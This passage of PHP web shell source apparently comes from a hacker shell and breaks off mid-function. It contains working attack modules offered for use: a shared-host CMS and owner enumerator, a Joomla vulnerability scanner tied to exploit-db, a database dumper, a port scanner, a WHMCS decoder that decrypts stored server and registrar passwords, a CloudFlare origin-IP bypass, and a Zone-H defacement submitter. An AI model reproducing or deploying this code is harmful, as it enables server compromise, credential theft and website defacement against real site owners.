<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial24" > Hacking Exposed-5 </option>
<option value="tutorial25"> Internet Denial Of Service </option>
<option value="tutorial26">Computer Viruses For Dummies</option>
<option value="tutorial27">Hack Attacks Testing</option>
<option value="tutorial28">Secrets Of A Super Hacker</option>
<option value="tutorial29">Stealing The Network</option>
<option value="tutorial30">Hacker\'s HandBook</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</td></form>
<td><form method="post" action="">
Tutorial :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial2">Search Engine Hacking</option>
<option value="tutorial3">SQL Injection dengan hackbar</option>
<option value="tutorial1" >Bypass Union</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">
E-Book from Syn|gress :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="cryptography_for_defeloper">Cryptography for Developer</option>
<option value="tutorial31">Mobile Malware Attack and Defense</option>
<option value="forensic">CD and DVD Forensic</option>
<option value="ddd">Open Sourch Security Tools</option>
<option value="metasploit">Metaslpoit Toolkit</option>
<option value="stealing_network">Stealing the Network</option>
<option value="security_polices">Creating Security Polices</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">
X-CODE MAGAZINE :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial4">X-CODE MAGAZINE 1</option>
<option value="tutorial5">X-CODE MAGAZINE 2</option>
<option value="tutorial6">X-CODE MAGAZINE 3</option>
<option value="tutorial7">X-CODE MAGAZINE 4</option>
<option value="tutorial8">X-CODE MAGAZINE 5</option>
<option value="tutorial9">X-CODE MAGAZINE 6</option>
<option value="tutorial10">X-CODE MAGAZINE 7</option>
<option value="tutorial11">X-CODE MAGAZINE 8</option>
<option value="tutorial12">X-CODE MAGAZINE 9</option>
<option value="tutorial13">X-CODE MAGAZINE 10</option>
<option value="tutorial14">X-CODE MAGAZINE 11</option>
<option value="tutorial15">X-CODE MAGAZINE 12</option>
<option value="tutorial16">X-CODE MAGAZINE 13</option>
<option value="tutorial17">X-CODE MAGAZINE 14</option>
<option value="tutorial18">X-CODE MAGAZINE 15</option>
<option value="tutorial19">X-CODE MAGAZINE 16</option>
<option value="tutorial20">X-CODE MAGAZINE 17</option>
<option value="tutorial21">X-CODE MAGAZINE 18</option>
<option value="tutorial22">X-CODE MAGAZINE 19</option>
<option value="tutorial23">X-CODE MAGAZINE 20</option>
<option value="tutorial024">X-CODE MAGAZINE 21</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr></table><br><br>
<?php
$submit = $_POST [\'submit\'];
if(isset($submit)) {
$pilih = $_POST[\'pilih\'];
if ( $pilih == \'tutorial1\') {
?>
<script>
document.location = \'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf\';
</script>
<?php
}
elseif ( $pilih == \'tutorial2\') {
?>
<script>
document.location = \'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf\';
</script>
<?php
}
elseif ( $pilih == \'tutorial3\') {
?>
<script>
document.location = \'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf\';
</script>
<?php
}
elseif ( $pilih == \'tutorial4\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_1.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial5\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_2.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial6\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_3.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial7\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_4.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial8\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_5.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial9\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_6.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial10\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_7.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial11\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode_magazine_8.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial12\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode9.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial13\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode10.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial14\') {
?>
<script>
document.location = \'http://xcode.or.id/files/xcode11.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial15\') {
?>
<script>
document.location = \'http://xcode.or.id/files/Xcode12.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial16\') {
?>
<script>
document.location = \'http://xcode.or.id/files/Xcode13.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial17\') {
?>
<script>
document.location = \'http://xcode.or.id/files/Xcode14.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial18\') {
?>
<script>
document.location = \'http://xcode.or.id/Xcode15.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial19\') {
?>
<script>
document.location = \'http://xcode.or.id/xcode_magazine_16.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial20\') {
?>
<script>
document.location = \'http://xcode.or.id/xcode_magazine_17.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial21\') {
?>
<script>
document.location = \'http://xcode.or.id/xcode_magazine_18.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial22\') {
?>
<script>
document.location = \'http://xcode.or.id/xcode_magazine_19.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial23\') {
?>
<script>
document.location = \'http://xcode.or.id/xcode_magazine_20.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial024\') {
?>
<script>
document.location = \'http://xcode.or.id/xcode_magazine_21.zip\';
</script>
<?php
}
elseif ( $pilih == \'tutorial24\') {
?>
<script>
document.location = \'http://www.insecure.in/ebooks/hacking_exposed_5.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial25\') {
?>
<script>
document.location = \'http://www.insecure.in/ebooks/internet_denial_of_service.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial26\') {
?>
<script>
document.location = \'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial27\') {
?>
<script>
document.location = \'http://www.insecure.in/ebooks/hack_attacks_testing.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial28\') {
?>
<script>
document.location = \'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial29\') {
?>
<script>
document.location = \'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar\';
</script>
<?php
}
elseif ( $pilih == \'tutorial30\') {
?>
<script>
document.location = \'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar\';
</script>
<?php
}
elseif ( $pilih == \'ddd\') {
?>
<script>
document.location = \'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf\';
</script>
<?php
}
elseif ( $pilih == \'tutorial31\') {
?>
<script>
document.location = \'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf\';
</script>
<?php
}
elseif ( $pilih == \'cryptography_for_defeloper\') {
?>
<script>
document.location = \'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf\';
</script>
<?php
}
elseif ( $pilih == \'forensic\') {
?>
<script>
document.location = \'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf\';
</script>
<?php
}
elseif ( $pilih == \'metasploit\') {
?>
<script>
document.location = \'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf\';
</script>
<?php
}elseif ( $pilih == \'stealing_network\') {
?>
<script>
document.location = \'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf\';
</script>
<?php
}elseif ( $pilih == \'security_polices\') {
?>
<script>
document.location = \'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf\';
</script>
<?php
}
}
}
////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cms_detect\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>--=[ CMS Detector ]=--</font></b></center><br><br>
<?php
if(!file_exists(\'pee.tmp\')){
@fopen(\'pee.tmp\', \'w\');
echo\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';
echo\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>\';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace(\'.db\',\'\',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.\'pee/\'.$owner[\'name\'];
cms_add($link,$domain,$owner[\'name\'],"WordPress");
cms_add($link,$domain,$owner[\'name\'],"Joomla");
cms_add($link,$domain,$owner[\'name\'],"vBulletin");
cms_add($link,$domain,$owner[\'name\'],"WHMCS");
cms_add($link,$domain,$owner[\'name\'],"PhpBB");
cms_add($link,$domain,$owner[\'name\'],"MyBB");
cms_add($link,$domain,$owner[\'name\'],"IPB");
cms_add($link,$domain,$owner[\'name\'],"SMF");
cms_add($link,$domain,$owner[\'name\'],"Drupal");
cms_add($link,$domain,$owner[\'name\'],"e107");
cms_add($link,$domain,$owner[\'name\'],"Seditio");
cms_add($link,$domain,$owner[\'name\'],"osCommerce");
}
}
}
}else{
echo\'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">\';
echo\'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>\';
$content = file_get_contents($pageURL.\'pee.tmp\');
echo $content;
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jss\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo \'
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
\';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href=\'http://www.google.com/#hl=en&q=download+$comxx+joomla+extension\'>Download</a></td></tr>";
}else{
echo"<td><a href=\'$link\'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all(\'{option,(.*?)/}i\',$source,$f);
preg_match_all(\'{option=(.*?)(&|&|")}i\',$source,$f2);
preg_match_all(\'{/components/(.*?)/}i\',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all(\'{http://(.*?)(/index.php)}siU\',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST[\'site\']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents(\'http://www.bing.com/search?q=ip%3A\' . $ip . \'+index.php?option=com&first=\' . $npage);
if ($x)
{
preg_match_all(\'(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU\', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match(\'(first=\' . $npage . \'&)siU\', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo\'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><b>\'.$ip.\'</b></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>\'.count(array_unique($allDmns)).\'</b></td></tr>
</table>\';
echo "<br><br>";
echo\'<table border="1" width="80%" align=\"center\">\';
foreach(array_unique($allDmns) as $h3h3){
echo\'<tr id=new><td><b><a href=\'.$h3h3.\'>\'.$h3h3.\'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>\';
check_com($h3h3);
}
echo"</table>";
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dump\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
<?php
echo $head.\'<p align="center">\';
echo \'
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="\'.$me.\'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>\';
if ($_POST[\'username\'] && $_POST[\'dbname\'] && $_POST[\'method\']){
$date = date("Y-m-d");
$dbserver = $_POST[\'server\'];
$dbuser = $_POST[\'username\'];
$dbpass = $_POST[\'password\'];
$dbname = $_POST[\'dbname\'];
$file = "Dump-$dbname-$date";
$method = $_POST[\'method\'];
if ($method==\'sql\'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST[\'method\']==\'ssql\'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i[\'Tables_in_\'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create[\'Create Table\'].";
");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "\'".mysql_escape_string($k)."\'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");
");
}
}
}
if ($method==\'ssql\'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'port-sc\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo \'<br><br><center><br><b>--==[ Port Scanner ]==--</b><br>\';
$start = strip_tags($_POST[\'start\']);
$end = strip_tags($_POST[\'end\']);
$host = strip_tags($_POST[\'host\']);
if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
}
flush();
}
}else{
echo \'<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#FF0000;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#FF0000" value="Scan Ports" />
</td></form></center></table>\';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hash\'))
{
$submit= $_POST[\'enter\'];
if (isset($submit)) {
$pass = $_POST[\'password\']; // password
$salt = \'}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN\'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo \'<form action="" method="post"><b><table class=tabnet>\';
echo \'<tr><th colspan="2">Password Hash</th></center></tr>\';
echo \'<tr><td><b>Enter the word you want to encrypt:</b></td>\';
echo \'<td><input class="inputz" type="text" name="password" size="40" />\';
echo \'<input class="inputzbut" type="submit" name="enter" value="hash" />\';
echo \'</td></tr><br>\';
echo \'<tr><th colspan="2">Hash Result</th></center></tr>\';
echo \'<tr><td>Original Password</td><td><input class=inputz type=text size=50 value=\'.$pass.\'></td></tr><br><br>\';
echo \'<tr><td>MD5</td><td><input class=inputz type=text size=50 value=\'.$hash.\'></td></tr><br><br>\';
echo \'<tr><td>MD4</td><td><input class=inputz type=text size=50 value=\'.$md4.\'></td></tr><br><br>\';
echo \'<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash_md5.\'></td></tr><br><br>\';
echo \'<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash_md5_double.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1</td><td><input class=inputz type=text size=50 value=\'.$hash1.\'></td></tr><br><br>\';
echo \'<tr><td>Sha256</td><td><input class=inputz type=text size=50 value=\'.$sha256.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1.\'></td></tr><br><br>\';
echo \'<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value=\'.$hash1_sha1_double.\'></td></tr><br><br></table>\';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'whmcs\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = \'\';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists (\'sha1\'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = \'\';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "
<br><center><font size=\'5\' color=\'#FF0000\'><b>--==[ WHMCS Decoder ]==--</b></font></center>
<center>
<br>
<FORM action=\'\' method=\'post\'>
<input type=\'hidden\' name=\'form_action\' value=\'2\'>
<br>
<table class=tabnet style=width:320px;padding:0 1px;>
<tr><th colspan=2>WHMCS Decoder</th></tr>
<tr><td>db_host </td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_host\' value=\'localhost\'></td></tr>
<tr><td>db_username </td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_username\' value=\'\'></td></tr>
<tr><td>db_password</td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_password\' value=\'\'></td></tr>
<tr><td>db_name</td><td><input type=\'text\' style=\'color:#FF0000;background-color:\' class=\'inputz\' size=\'38\' name=\'db_name\' value=\'\'></td></tr>
<tr><td>cc_encryption_hash</td><td><input style=\'color:#FF0000;background-color:\' type=\'text\' class=\'inputz\' size=\'38\' name=\'cc_encryption_hash\' value=\'\'></td></tr>
<td> <INPUT class=\'inputzbut\' type=\'submit\' style=\'color:#FF0000;background-color:\' value=\'Submit\' name=\'Submit\'></td>
</table>
</FORM>
</center>
";
if($_POST[\'form_action\'] == 2 )
{
//include($file);
$db_host=($_POST[\'db_host\']);
$db_username=($_POST[\'db_username\']);
$db_password=($_POST[\'db_password\']);
$db_name=($_POST[\'db_name\']);
$cc_encryption_hash=($_POST[\'cc_encryption_hash\']);
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
while($v = mysql_fetch_array($query)) {
$ipaddress = $v[\'ipaddress\'];
$username = $v[\'username\'];
$type = $v[\'type\'];
$active = $v[\'active\'];
$hostname = $v[\'hostname\'];
echo("<center><table border=\'1\'>");
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td>Type</td><td>$type</td></tr>");
echo("<tr><td>Active</td><td>$active</td></tr>");
echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
echo("<tr><td>Username</td><td>$username</td></tr>");
echo("<tr><td>Password</td><td>$password</td></tr>");
echo "</table><br><br></center>";
}
$link=mysql_connect($db_host,$db_username,$db_password) ;
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblregistrars");
echo("<center>Domain Reseller <br><table class=tabnet border=\'1\'>");
echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
while($v = mysql_fetch_array($query)) {
$registrar = $v[\'registrar\'];
$setting = $v[\'setting\'];
$value = decrypt ($v[\'value\'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
}
}
}
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'zone\'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=zone" method="post">
<br><br><center>
<!-- Zone-H -->
<form action="" method=\'POST\'><table><table class=\'tabnet\'><tr>
<td style=\'background-color:#0000;padding-left:10px;\'><tr><tr><th colspan="2"><h2>Zone-H</h2></th></tr></td></tr><tr><td height=\'45\' colspan=\'2\'><form method="post">
<input type="text" class="inputz" name="defacer" value="Nama Defacer" />
<select name="hackmode" class="inputz" >
<option >------------------------Choose Any------------------------</option>
<option value="1">Known Vulnerability (i.e. unpatched system)</option>
<option value="2" >Undisclosed (new) vulnerability</option>
<option value="3" >Configuration / Admin. Mistake</option>
<option value="4" >Brute Force Attack</option>
<option value="5" >Social Engineering</option>
<option value="6" >Web Server Intrusion</option>
<option value="7" >Web Server External Module Intrusion</option>
<option value="8" >Mail Server Intrusion</option>
<option value="9" >FTP Server Intrusion</option>
<option value="10" >SSH Server Intrusion</option>
<option value="11" >Telnet Server Intrusion</option>
<option value="12" >RPC Server Intrusion</option>
<option value="13" >Shares Misconfiguration</option>
<option value="14" >Other Server Intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application Bug</option>
<option value="19" >Remote Administrative Panel Access Bruteforcing</option>
<option value="20" >Remote Administrative Panel Access Password Guessing</option>
<option value="21" >Remote Administrative Panel Access Social Engineering</option>
<option value="22" >Attack Against Administrator(password stealing/sniffing)</option>
<option value="23" >Access Credentials Through Man In the Middle Attack</option>
<option value="24" >Remote Service Password Guessing</option>
<option value="25" >Remote Service Password Bruteforce</option>
<option value="26" >Rerouting After Attacking The Firewall</option>
<option value="27" >Rerouting After Attacking The Router</option>
<option value="28" >DNS Attack Through Social Engineering</option>
<option value="29" >DNS Attack Through Cache Poisoning</option>
<option value="30" >Not Available</option>
</select>
<select name="reason" class="inputz" >
<option >-------------Choose Any---------------</option>
<option value="1" >Heh...just for fun!</option>
<option value="2" >Revenge against that website</option>
<option value="3" >Political reasons</option>
<option value="4" >As a challenge</option>
<option value="5" >I just want to be the best defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not available</option>
</select>
<input type="hidden" name="action" value="zone">
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
<br /><input class=\'inputzbut\' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>
<?php
echo \'<center>\';
ob_start();
$sub = get_loaded_extensions();
if(!in_array("curl", $sub)){die(\'[-] Curl Is Not Supported !! \');}
$hacker = $_POST[\'defacer\'];
$method = $_POST[\'hackmode\'];
$neden = $_POST[\'reason\'];
$site = $_POST[\'domain\'];
if (empty($hacker)){die ("[+] You Must Fill In The Attacker Name![+]");}
elseif($method == "--------SELECT--------") {die("[+] You Must Select The Method![+]");}
elseif($neden == "--------SELECT--------") {die("[+] You Must Select The Reason![+]");}
elseif(empty($site)) {die("[+] You Must Inter the Sites List![+] ");}
$i = 0;
$sites = explode("
", $site);
while($i < count($sites))
{
if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
echo "Site : ".$sites[$i]." Defaced !
";
++$i;
}
echo "[+] Successfully Submitted To Zone-H!! [+]";
echo \'</center>\';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass-cf\'))
{
echo \'
<form method="POST"><br><br>
<center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">--==[ Bypass
<font color="#CC0000">CloudFlare</font> ]==--</font></b></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-conntect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>
\';
$target = $_POST[\'target\'];
# Bypass From FTP
if($_POST[\'krz\'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST[\'krz\'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST[\'krz\'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST[\'krz\'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'2\' color=\'#FF0000\'>Correct
ip is : </font><font face=\'Tahoma\' size=\'2\' color=\'#F68B1F\'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'hashid\')) {
if(isset($_POST[\'gethash\'])){
$hash = $_POST[\'hash\'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
